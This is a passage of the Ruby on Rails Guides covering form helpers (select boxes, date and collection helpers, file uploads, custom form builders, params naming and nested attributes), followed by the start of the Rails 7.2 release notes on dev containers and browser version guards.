When rendering a form, submission buttons can override the declared `method` attribute through the `formmethod:` keyword:

```
<%= form_with url: "/posts/1", method: :patch do |form| %>
  <%= form.button "Delete", formmethod: :delete, data: { confirm: "Are you sure?" } %>
  <%= form.button "Update" %>
<% end %>
```

Similar to `<form>` elements, most browsers *don't support* overriding form methods declared through [formmethod](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-formmethod) other than `GET` and `POST`.

Rails works around this issue by emulating other methods over POST through a combination of [formmethod](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-formmethod), [value](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-value), and [name](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-name) attributes:

```
<form accept-charset="UTF-8" action="/posts/1" method="post">
  <input name="_method" type="hidden" value="patch" />
  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
  <!-- ... -->

  <button type="submit" formmethod="post" name="_method" value="delete" data-confirm="Are you sure?">Delete</button>
  <button type="submit" name="button">Update</button>
</form>
```

In this case, the "Update" button will be treated as `PATCH` and the "Delete" button will be treated as `DELETE`.

## [3. Making Select Boxes with Ease](#making-select-boxes-with-ease)

Select boxes, also known as drop-down list, allow users to select from a list of options. The HTML for select boxes requires a decent amount of markup - one `<option>` element for each option to choose from. Rails provides helper methods to help generate that markup.

For example, let's say we have a list of cities for the user to choose from. We can use the [`select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-select) helper:

```
<%= form.select :city, ["Berlin", "Chicago", "Madrid"] %>
```

The above will generate this HTML output:

```
<select name="city" id="city">
  <option value="Berlin">Berlin</option>
  <option value="Chicago">Chicago</option>
  <option value="Madrid">Madrid</option>
</select>
```

And the selection will be available in `params[:city]` as usual.

We can also specify `<option>` values that differ from their labels:

```
<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>
```

Output:

```
<select name="city" id="city">
  <option value="BE">Berlin</option>
  <option value="CHI">Chicago</option>
  <option value="MD">Madrid</option>
</select>
```

This way, the user will see the full city name, but `params[:city]` will be one of `"BE"`, `"CHI"`, or `"MD"`.

Lastly, we can specify a default choice for the select box with the `:selected` argument:

```
<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]], selected: "CHI" %>
```

Output:

```
<select name="city" id="city">
  <option value="BE">Berlin</option>
  <option value="CHI" selected="selected">Chicago</option>
  <option value="MD">Madrid</option>
</select>
```

### [3.1. Option Groups for Select Boxes](#option-groups-for-select-boxes)

In some cases we may want to improve the user experience by grouping related options together. We can do so by passing a `Hash` (or comparable `Array`) to `select`:

```
<%= form.select :city,
      {
        "Europe" => [ ["Berlin", "BE"], ["Madrid", "MD"] ],
        "North America" => [ ["Chicago", "CHI"] ],
      },
      selected: "CHI" %>
```

Output:

```
<select name="city" id="city">
  <optgroup label="Europe">
    <option value="BE">Berlin</option>
    <option value="MD">Madrid</option>
  </optgroup>
  <optgroup label="North America">
    <option value="CHI" selected="selected">Chicago</option>
  </optgroup>
</select>
```

### [3.2. Binding Select Boxes to Model Objects](#binding-select-boxes-to-model-objects)

Like other form controls, a select box can be bound to a model attribute. For example, if we have a `@person` model object like:

```
@person = Person.new(city: "MD")
```

The following form:

```
<%= form_with model: @person do |form| %>
  <%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>
<% end %>
```

Will output this select box:

```
<select name="person[city]" id="person_city">
  <option value="BE">Berlin</option>
  <option value="CHI">Chicago</option>
  <option value="MD" selected="selected">Madrid</option>
</select>
```

The only difference is that the selected option will be found in `params[:person][:city]` instead of `params[:city]`.

Notice that the appropriate option was automatically marked `selected="selected"`. Since this select box was bound to an existing `@person` record, we didn't need to specify a `:selected` argument.

## [4. Using Date and Time Form Helpers](#using-date-and-time-form-helpers)

In addition to the `date_field` and `time_field` helpers mentioned [earlier](#other-helpers-of-interest), Rails provides alternative date and time form helpers that render plain select boxes. The `date_select` helper renders a separate select box for year, month, and day.

For example, if we have a `@person` model object like:

```
@person = Person.new(birth_date: Date.new(1995, 12, 21))
```

The following form:

```
<%= form_with model: @person do |form| %>
  <%= form.date_select :birth_date %>
<% end %>
```

Will output select boxes like:

```
<select name="person[birth_date(1i)]" id="person_birth_date_1i">
  <option value="1990">1990</option>
  <option value="1991">1991</option>
  <option value="1992">1992</option>
  <option value="1993">1993</option>
  <option value="1994">1994</option>
  <option value="1995" selected="selected">1995</option>
  <option value="1996">1996</option>
  <option value="1997">1997</option>
  <option value="1998">1998</option>
  <option value="1999">1999</option>
  <option value="2000">2000</option>
</select>
<select name="person[birth_date(2i)]" id="person_birth_date_2i">
  <option value="1">January</option>
  <option value="2">February</option>
  <option value="3">March</option>
  <option value="4">April</option>
  <option value="5">May</option>
  <option value="6">June</option>
  <option value="7">July</option>
  <option value="8">August</option>
  <option value="9">September</option>
  <option value="10">October</option>
  <option value="11">November</option>
  <option value="12" selected="selected">December</option>
</select>
<select name="person[birth_date(3i)]" id="person_birth_date_3i">
  <option value="1">1</option>
  ...
  <option value="21" selected="selected">21</option>
  ...
  <option value="31">31</option>
</select>
```

Notice that, when the form is submitted, there will be no single value in the `params` hash that contains the full date. Instead, there will be several values with special names like `"birth_date(1i)"`. However, Active Model knows how to assemble these values into a full date, based on the declared type of the model attribute. So we can pass `params[:person]` to `Person.new` or `Person#update` just like we would if the form used a single field to represent the full date.

In addition to the [`date_select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-date_select) helper, Rails provides [`time_select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-time_select) which outputs select boxes for the hour and minute. There is [`datetime_select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-datetime_select) as well which combines both date and time select boxes.

### [4.1. Select Boxes for Time or Date Components](#select-boxes-for-time-or-date-components)

Rails also provides helpers to render select boxes for individual date and time components: [`select_year`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_year), [`select_month`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_month), [`select_day`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_day), [`select_hour`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_hour), [`select_minute`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_minute), and [`select_second`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_second). These helpers are "bare" methods, meaning they are not called on a form builder instance. For example:

```
<%= select_year 2024, prefix: "party" %>
```

The above outputs a select box like:

```
<select id="party_year" name="party[year]">
  <option value="2019">2019</option>
  <option value="2020">2020</option>
  <option value="2021">2021</option>
  <option value="2022">2022</option>
  <option value="2023">2023</option>
  <option value="2024" selected="selected">2024</option>
  <option value="2025">2025</option>
  <option value="2026">2026</option>
  <option value="2027">2027</option>
  <option value="2028">2028</option>
  <option value="2029">2029</option>
</select>
```

For each of these helpers, you may specify a `Date` or `Time` object instead of a number as the default value (for example `<%= select_year Date.today, prefix: "party" %>` instead of the above), and the appropriate date and time parts will be extracted and used.

### [4.2. Selecting Time Zone](#selecting-time-zone)

When you need to ask users what time zone they are in, there is a very convenient [`time_zone_select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-time_zone_select) helper to use.

Typically, you would have to provide a list of time zone options for users to select from. This can get tedious if not for the list of pre-defined [`ActiveSupport::TimeZone`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/TimeZone.html) objects. The `time_with_zone` helper wraps this and can be used as follows:

```
<%= form.time_zone_select :time_zone %>
```

Output:

```
<select name="time_zone" id="time_zone">
  <option value="International Date Line West">(GMT-12:00) International Date Line West</option>
  <option value="American Samoa">(GMT-11:00) American Samoa</option>
  <option value="Midway Island">(GMT-11:00) Midway Island</option>
  <option value="Hawaii">(GMT-10:00) Hawaii</option>
  <option value="Alaska">(GMT-09:00) Alaska</option>
  ...
  <option value="Samoa">(GMT+13:00) Samoa</option>
  <option value="Tokelau Is.">(GMT+13:00) Tokelau Is.</option>
</select>
```

## [5. Collection Related Helpers](#collection-related-helpers)

If you need to generate a set of choices from a collection of arbitrary objects, Rails has `collection_select`, `collection_radio_button`, and `collection_checkboxes` helpers.

To see when these helpers are useful, suppose you have a `City` model and corresponding `belongs_to :city` association with `Person`:

```
class City < ApplicationRecord
end

class Person < ApplicationRecord
  belongs_to :city
end
```

Assuming we have the following cities stored in the database:

```
City.order(:name).map { |city| [city.name, city.id] }
# => [["Berlin", 1], ["Chicago", 3], ["Madrid", 2]]
```

We can allow the user to choose from the cities with the following form:

```
<%= form_with model: @person do |form| %>
  <%= form.select :city_id, City.order(:name).map { |city| [city.name, city.id] } %>
<% end %>
```

The above will generate this HTML:

```
<select name="person[city_id]" id="person_city_id">
  <option value="1">Berlin</option>
  <option value="3">Chicago</option>
  <option value="2">Madrid</option>
</select>
```

The above example shows how you'd generate the choices manually. However, Rails has helpers that generate choices from a collection without having to explicitly iterate over it. These helpers determine the value and text label of each choice by calling specified methods on each object in the collection.

When rendering a field for a `belongs_to` association, you must specify the name of the foreign key (`city_id` in the above example), rather than the name of the association itself.

### [5.1. The `collection_select` Helper](#the-collection-select-helper)

To generate a select box, we can use [`collection_select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_select):

```
<%= form.collection_select :city_id, City.order(:name), :id, :name %>
```

The above outputs the same HTML as the manual iteration above:

```
<select name="person[city_id]" id="person_city_id">
  <option value="1">Berlin</option>
  <option value="3">Chicago</option>
  <option value="2">Madrid</option>
</select>
```

The order of arguments for `collection_select` is different from the order for `select`. With `collection_select` we specify the value method first (`:id` in the example above), and the text label method second (`:name` in the example above). This is opposite of the order used when specifying choices for the `select` helper, where the text label comes first and the value second (`["Berlin", 1]` in the previous example).

### [5.2. The `collection_radio_buttons` Helper](#the-collection-radio-buttons-helper)

To generate a set of radio buttons, we can use [`collection_radio_buttons`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_radio_buttons):

```
<%= form.collection_radio_buttons :city_id, City.order(:name), :id, :name %>
```

Output:

```
<input type="radio" value="1" name="person[city_id]" id="person_city_id_1">
<label for="person_city_id_1">Berlin</label>

<input type="radio" value="3" name="person[city_id]" id="person_city_id_3">
<label for="person_city_id_3">Chicago</label>

<input type="radio" value="2" name="person[city_id]" id="person_city_id_2">
<label for="person_city_id_2">Madrid</label>
```

### [5.3. The `collection_checkboxes` Helper](#the-collection-checkboxes-helper)

To generate a set of check boxes — for example, to support a `has_and_belongs_to_many` association — we can use [`collection_checkboxes`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_checkboxes):

```
<%= form.collection_checkboxes :interest_ids, Interest.order(:name), :id, :name %>
```

Output:

```
<input type="checkbox" name="person[interest_id][]" value="3" id="person_interest_id_3">
<label for="person_interest_id_3">Engineering</label>

<input type="checkbox" name="person[interest_id][]" value="4" id="person_interest_id_4">
<label for="person_interest_id_4">Math</label>

<input type="checkbox" name="person[interest_id][]" value="1" id="person_interest_id_1">
<label for="person_interest_id_1">Science</label>

<input type="checkbox" name="person[interest_id][]" value="2" id="person_interest_id_2">
<label for="person_interest_id_2">Technology</label>
```

## [6. Uploading Files](#uploading-files)

A common task with forms is allowing users to upload a file. It could be an avatar image or a CSV file with data to process. File upload fields can be rendered with the [`file_field`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field) helper.

```
<%= form_with model: @person do |form| %>
  <%= form.file_field :csv_file %>
<% end %>
```

The most important thing to remember with file uploads is that the rendered form's `enctype` attribute **must** be set to `multipart/form-data`. This is done automatically if you use a `file_field` inside a `form_with`. You can also set the attribute manually:

```
<%= form_with url: "/uploads", multipart: true do |form| %>
  <%= file_field_tag :csv_file %>
<% end %>
```

Both of which, output the following HTML form:

```
<form enctype="multipart/form-data" action="/people" accept-charset="UTF-8" method="post">
<!-- ... -->
</form>
```

Note that, per `form_with` conventions, the field names in the two forms above will be different. In the first form, it will be `person[csv_file]` (accessible via `params[:person][:csv_file]`), and in the second form it will be just `csv_file` (accessible via `params[:csv_file]`).

### [6.1. CSV File Upload Example](#csv-file-upload-example)

When using `file_field`, the object in the `params` hash is an instance of [`ActionDispatch::Http::UploadedFile`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Http/UploadedFile.html). Here is an example of how to save data in an uploaded CSV file to records in your application:

```
  require "csv"

  def upload
    uploaded_file = params[:csv_file]
    if uploaded_file.present?
      csv_data = CSV.parse(uploaded_file.read, headers: true)
      csv_data.each do |row|
        # Process each row of the CSV file
        # SomeInvoiceModel.create(amount: row['Amount'], status: row['Status'])
        Rails.logger.info row.inspect
        #<CSV::Row "id":"po_1KE3FRDSYPMwkcNz9SFKuaYd" "Amount":"96.22" "Created (UTC)":"2022-01-04 02:59" "Arrival Date (UTC)":"2022-01-05 00:00" "Status":"paid">
      end
    end
    # ...
  end
```

If the file is an image that needs to be stored with a model (e.g. user's profile picture), there are a number of tasks to consider, like where to store the file (on Disk, Amazon S3, etc), resizing image files, and generating thumbnails, etc. [Active Storage](active_storage_overview.html) is designed to assist with these tasks.

## [7. Customizing Form Builders](#customizing-form-builders)

We call the objects yielded by `form_with` or `fields_for` Form Builders. Form builders allow you to generate form elements associated with a model object and are an instance of [`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html). This class can be extended to add custom helpers for your application.

For example, if you want to display a `text_field` along with a `label` across your application, you could add the following helper method to `application_helper.rb`:

```
module ApplicationHelper
  def text_field_with_label(form, attribute)
    form.label(attribute) + form.text_field(attribute)
  end
end
```

And use it in a form as usual:

```
<%= form_with model: @person do |form| %>
  <%= text_field_with_label form, :first_name %>
<% end %>
```

But you can also create a subclass of `ActionView::Helpers::FormBuilder`, and add the helpers there. After defining this `LabellingFormBuilder` subclass:

```
class LabellingFormBuilder < ActionView::Helpers::FormBuilder
  def text_field(attribute, options = {})
    # super will call the original text_field method
    label(attribute) + super
  end
end
```

The above form can be replaced with:

```
<%= form_with model: @person, builder: LabellingFormBuilder do |form| %>
  <%= form.text_field :first_name %>
<% end %>
```

If you reuse this frequently you could define a `labeled_form_with` helper that automatically applies the `builder: LabellingFormBuilder` option:

```
module ApplicationHelper
  def labeled_form_with(**options, &block)
    options[:builder] = LabellingFormBuilder
    form_with(**options, &block)
  end
end
```

The above can be used instead of `form_with`:

```
<%= labeled_form_with model: @person do |form| %>
  <%= form.text_field :first_name %>
<% end %>
```

All three cases above (the `text_field_with_label` helper, the `LabellingFormBuilder` subclass, and the `labeled_form_with` helper) will generate the same HTML output:

```
<form action="/people" accept-charset="UTF-8" method="post">
  <!-- ... -->
  <label for="person_first_name">First name</label>
  <input type="text" name="person[first_name]" id="person_first_name">
</form>
```

The form builder used also determines what happens when you do:

```
<%= render partial: f %>
```

If `f` is an instance of `ActionView::Helpers::FormBuilder`, then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder`, then the `labelling_form` partial would be rendered instead.

Form builder customizations, such as `LabellingFormBuilder`, do hide the implementation details (and may seem like an overkill for the simple example above). Choose between different customizations, extending `FormBuilder` class or creating helpers, based on how frequently your forms use the custom elements.

## [8. Form Input Naming Conventions and `params` Hash](#form-input-naming-conventions-and-params-hash)

All of the form helpers described above help with generating the HTML for form elements so that the user can enter various types of input. How do you access the user input values in the Controller? The `params` hash is the answer. You've already seen the `params` hash in the above example. This section will more explicitly go over naming conventions around how form input is structured in the `params` hash.

The `params` hash can contain arrays and arrays of hashes. Values can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create` action for a Person model, `params[:person]` will be a hash of all the attributes for the `Person` object.

Note that HTML forms don't have an inherent structure to the user input data, all they generate is name-value string pairs. The arrays and hashes you see in your application are the result of parameter naming conventions that Rails uses.

The fields in the `params` hash need to be [permitted in the controller](#permitting-parameters-in-the-controller).

### [8.1. Basic Structure](#basic-structure)

The two basic structures for user input form data are arrays and hashes.

Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains:

```
<input id="person_name" name="person[name]" type="text" value="Henry"/>
```

the `params` hash will contain

```
{ "person" => { "name" => "Henry" } }
```

and `params[:person][:name]` will retrieve the submitted value in the controller.

Hashes can be nested as many levels as required, for example:

```
<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
```

The above will result in the `params` hash being

```
{ "person" => { "address" => { "city" => "New York" } } }
```

The other structure is an Array. Normally Rails ignores duplicate parameter names, but if the parameter name ends with an empty set of square brackets `[]` then the parameters will be accumulated in an Array.

For example, if you want users to be able to input multiple phone numbers, you could place this in the form:

```
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
```

This would result in `params[:person][:phone_number]` being an array containing the submitted phone numbers:

```
{ "person" => { "phone_number" => ["555-0123", "555-0124", "555-0125"] } }
```

### [8.2. Combining Arrays and Hashes](#combining-arrays-and-hashes)

You can mix and match these two concepts. One element of a hash might be an array as in the previous example `params[:person]` hash has a key called `[:phone_number]` whose value is an array.

You also can have an array of hashes. For example, you can create any number of addresses by repeating the following form fragment:

```
<input name="person[addresses][][line1]" type="text"/>
<input name="person[addresses][][line2]" type="text"/>
<input name="person[addresses][][city]" type="text"/>
<input name="person[addresses][][line1]" type="text"/>
<input name="person[addresses][][line2]" type="text"/>
<input name="person[addresses][][city]" type="text"/>
```

This would result in `params[:person][:addresses]` being an array of hashes. Each hash in the array will have the keys `line1`, `line2`, and `city`, something like this:

```
{ "person" =>
  { "addresses" => [
    { "line1" => "1000 Fifth Avenue",
      "line2" => "",
      "city" => "New York"
    },
    { "line1" => "Calle de Ruiz de Alarcón",
      "line2" => "",
      "city" => "Madrid"
    }
    ]
  }
}
```

It's important to note that while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes. For example, instead of an array of model objects, you can have a hash of model objects keyed by their id or similar.

Array parameters do not play well with the `checkbox` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `checkbox` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted. If it is checked then both are submitted but the value submitted by the checkbox takes precedence. There is a `include_hidden` option that can be set to `false` if you want to omit this hidden field. By default, this option is `true`.

### [8.3. Hashes with an Index](#hashes-with-an-index)

Let's say you want to render a form with a set of fields for each of a person's addresses. The [`fields_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for) helper with its `:index` option can assist:

```
<%= form_with model: @person do |person_form| %>
  <%= person_form.text_field :name %>
  <% @person.addresses.each do |address| %>
    <%= person_form.fields_for address, index: address.id do |address_form| %>
      <%= address_form.text_field :city %>
    <% end %>
  <% end %>
<% end %>
```

Assuming the person has two addresses with IDs 23 and 45, the above form would render this output:

```
<form accept-charset="UTF-8" action="/people/1" method="post">
  <input name="_method" type="hidden" value="patch" />
  <input id="person_name" name="person[name]" type="text" />
  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
</form>
```

Which will result in a `params` hash that looks like:

```
{
  "person" => {
    "name" => "Bob",
    "address" => {
      "23" => {
        "city" => "Paris"
      },
      "45" => {
        "city" => "London"
      }
    }
  }
}
```

All of the form inputs map to the `"person"` hash because we called `fields_for` on the `person_form` form builder. Also, by specifying `index: address.id`, we rendered the `name` attribute of each city input as `person[address][#{address.id}][city]` instead of `person[address][city]`. This way you can tell which `Address` records should be modified when processing the `params` hash.

You can find more details about `fields_for` index option in the [API docs](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for).

## [9. Building Complex Forms](#building-complex-forms)

As your application grows, you may need to create more complex forms, beyond editing a single object. For example, when creating a `Person` you can allow the user to create multiple `Address` records (home, work, etc.) within the same form. When editing a `Person` record later, the user should be able to add, remove, or update addresses as well.

### [9.1. Configuring the Model for Nested Attributes](#configuring-the-model-for-nested-attributes)

For editing an associated record for a given model (`Person` in this case), Active Record provides model level support via the [`accepts_nested_attributes_for`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/NestedAttributes/ClassMethods.html#method-i-accepts_nested_attributes_for) method:

```
class Person < ApplicationRecord
  has_many :addresses, inverse_of: :person
  accepts_nested_attributes_for :addresses
end

class Address < ApplicationRecord
  belongs_to :person
end
```

This creates an `addresses_attributes=` method on `Person` that allows you to create, update, and destroy addresses.

### [9.2. Nested Forms in the View](#nested-forms-in-the-view)

The following form allows a user to create a `Person` and its associated addresses.

```
<%= form_with model: @person do |form| %>
  Addresses:
  <ul>
    <%= form.fields_for :addresses do |addresses_form| %>
      <li>
        <%= addresses_form.label :kind %>
        <%= addresses_form.text_field :kind %>

        <%= addresses_form.label :street %>
        <%= addresses_form.text_field :street %>
        ...
      </li>
    <% end %>
  </ul>
<% end %>
```

When an association accepts nested attributes, `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses, it renders nothing.

A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.

For example, the above `form_with` with this change:

```
def new
  @person = Person.new
  2.times { @person.addresses.build }
end
```

Will output the following HTML:

```
<form action="/people" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="lWTbg-4_5i4rNe6ygRFowjDfTj7uf-6UPFQnsL7H9U9Fe2GGUho5PuOxfcohgm2Z-By3veuXwcwDIl-MLdwFRg" autocomplete="off">
  Addresses:
  <ul>
      <li>
        <label for="person_addresses_attributes_0_kind">Kind</label>
        <input type="text" name="person[addresses_attributes][0][kind]" id="person_addresses_attributes_0_kind">

        <label for="person_addresses_attributes_0_street">Street</label>
        <input type="text" name="person[addresses_attributes][0][street]" id="person_addresses_attributes_0_street">
        ...
      </li>

      <li>
        <label for="person_addresses_attributes_1_kind">Kind</label>
        <input type="text" name="person[addresses_attributes][1][kind]" id="person_addresses_attributes_1_kind">

        <label for="person_addresses_attributes_1_street">Street</label>
        <input type="text" name="person[addresses_attributes][1][street]" id="person_addresses_attributes_1_street">
        ...
      </li>
  </ul>
</form>
```

The `fields_for` yields a form builder. The parameter names will be what `accepts_nested_attributes_for` expects. For example, when creating a person with 2 addresses, the submitted parameters in `params` would look like this:

```
{
  "person" => {
    "name" => "John Doe",
    "addresses_attributes" => {
      "0" => {
        "kind" => "Home",
        "street" => "221b Baker Street"
      },
      "1" => {
        "kind" => "Office",
        "street" => "31 Spooner Street"
      }
    }
  }
}
```

The actual value of the keys in the `:addresses_attributes` hash is not important. But they need to be strings of integers and different for each address.

If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`.

```
{
  "person" => {
    "name" => "John Doe",
    "addresses_attributes" => {
      "0" => {
        "id" => 1,
        "kind" => "Home",
        "street" => "221b Baker Street"
      },
      "1" => {
        "id" => "2",
        "kind" => "Office",
        "street" => "31 Spooner Street"
      }
    }
  }
}
```

### [9.3. Permitting Parameters in the Controller](#permitting-parameters-in-the-controller)

As usual you need to [declare the permitted parameters](action_controller_overview.html#strong-parameters) in the controller before you pass them to the model:

```
def create
  @person = Person.new(person_params)
  # ...
end

private
  def person_params
    params.expect(person: [ :name, addresses_attributes: [[ :id, :kind, :street ]] ])
  end
```

### [9.4. Removing Associated Objects](#removing-associated-objects)

You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for`

```
class Person < ApplicationRecord
  has_many :addresses
  accepts_nested_attributes_for :addresses, allow_destroy: true
end
```

If the hash of attributes for an object contains the key `_destroy` with a value that evaluates to `true` (e.g. `1`, `'1'`, `true`, or `'true'`) then the object will be destroyed. This form allows users to remove addresses:

```
<%= form_with model: @person do |form| %>
  Addresses:
  <ul>
    <%= form.fields_for :addresses do |addresses_form| %>
      <li>
        <%= addresses_form.checkbox :_destroy %>
        <%= addresses_form.label :kind %>
        <%= addresses_form.text_field :kind %>
        ...
      </li>
    <% end %>
  </ul>
<% end %>
```

The HTML for the `_destroy` field:

```
<input type="checkbox" value="1" name="person[addresses_attributes][0][_destroy]" id="person_addresses_attributes_0__destroy">
```

You also need to update the permitted params in your controller to include the `_destroy` field:

```
def person_params
  params.require(:person).
    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
end
```

### [9.5. Preventing Empty Records](#preventing-empty-records)

It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `true` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.

```
class Person < ApplicationRecord
  has_many :addresses
  accepts_nested_attributes_for :addresses, reject_if: lambda { |attributes| attributes["kind"].blank? }
end
```

As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.

## [10. Forms to External Resources](#forms-to-external-resources)

Rails form helpers can be used to build a form for posting data to an external resource. If the external API expects an `authenticity_token` for the resource, this can be passed as an `authenticity_token: 'your_external_token'` parameter to `form_with`:

```
<%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %>
  Form contents
<% end %>
```

At other times, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To *not* send a token, you can pass `false` to the `:authenticity_token` option:

```
<%= form_with url: 'http://farfar.away/form', authenticity_token: false do %>
  Form contents
<% end %>
```

## [11. Using Tag Helpers without a Form Builder](#using-tag-helpers-without-a-form-builder)

In case you need to render form fields outside of the context of a form builder, Rails provides tag helpers for common form elements. For example, [`checkbox_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormTagHelper.html#method-i-checkbox_tag):

```
<%= checkbox_tag "accept" %>
```

Output:

```
<input type="checkbox" name="accept" id="accept" value="1" />
```

Generally, these helpers have the same name as their form builder counterparts plus a `_tag` suffix. For a complete list, see the [`FormTagHelper` API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormTagHelper.html).

## [12. Using `form_tag` and `form_for`](#using-form-tag-and-form-for)

Before `form_with` was introduced in Rails 5.1 its functionality was split between [`form_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag) and [`form_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-form_for). Both are now discouraged in favor of `form_with`, but you can still find them being used in some codebases.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/7_2_release_notes.html
----

***

## [1. Upgrading to Rails 7.2](#upgrading-to-rails-7-2)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 7.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 7.2. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-7-1-to-rails-7-2) guide.

## [2. Major Features](#major-features)

### [2.1. Development containers configuration for applications](#development-containers-configuration-for-applications)

A [development container](https://containers.dev/) (or dev container for short) allows you to use a container as a full-featured development environment.

Rails 7.2 adds the ability to generate a development container configuration for your application. This configuration includes a `.devcontainer` folder with a `Dockerfile`, a `docker-compose.yml` file, and a `devcontainer.json` file.

By default, the dev container contains the following:

* A Redis container for use with Kredis, Action Cable, etc.
* A database (SQLite, Postgres, MySQL or MariaDB)
* A Headless Chrome container for system tests
* Active Storage configured to use the local disk and with preview features working

To generate a new application with a development container, you can run:

```
$ rails new myapp --devcontainer
```

For existing applications, a `devcontainer` command is now available:

```
$ rails devcontainer
```

For more information, see the [Getting Started with Dev Containers](getting_started_with_devcontainer.html) guide.

### [2.2. Add browser version guard by default](#add-browser-version-guard-by-default)

Rails now adds the ability to specify the browser versions that will be allowed to access all actions (or some, as limited by `only:` or `except:`).

Only browsers matched in the hash or named set passed to `versions:` will be blocked if they're below the versions specified.

This means that all other unknown browsers, as well as agents that aren't reporting a user-agent header, will be allowed access.

A browser that's blocked will by default be served the file in `public/406-unsupported-browser.html` with an HTTP status code of "406 Not Acceptable".

Examples:

```
class ApplicationController < ActionController::Base
  # Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting + :has
  allow_browser versions: :modern
end

class ApplicationController < ActionController::Base
  # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
  allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
end

class MessagesController < ApplicationController
  # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
  allow_browser versions: { opera: 104, chrome: 119 }, only: :show
end
```

Newly generated applications have this guard set in `ApplicationController`.

For more information, see the [allow\_browser](https://api.rubyonrails.org/v8.1.4/classes/ActionController/AllowBrowser/ClassMethods.html#method-i-allow_browser) documentation.

### [2.3. Make Ruby 3.1 the new minimum version](#make-ruby-3-1-the-new-minimum-version)

Until now, Rails only dropped compatibility with older Rubies on new majors version. We are changing this policy because it causes us to keep compatibility with long unsupported versions of Ruby or to bump the Rails major version more often, and to drop multiple Ruby versions at once when we bump the major.

We will now drop Ruby versions that are end-of-life on minor Rails versions at the time of the release.

For Rails 7.2, Ruby 3.1 is the new minimum version.

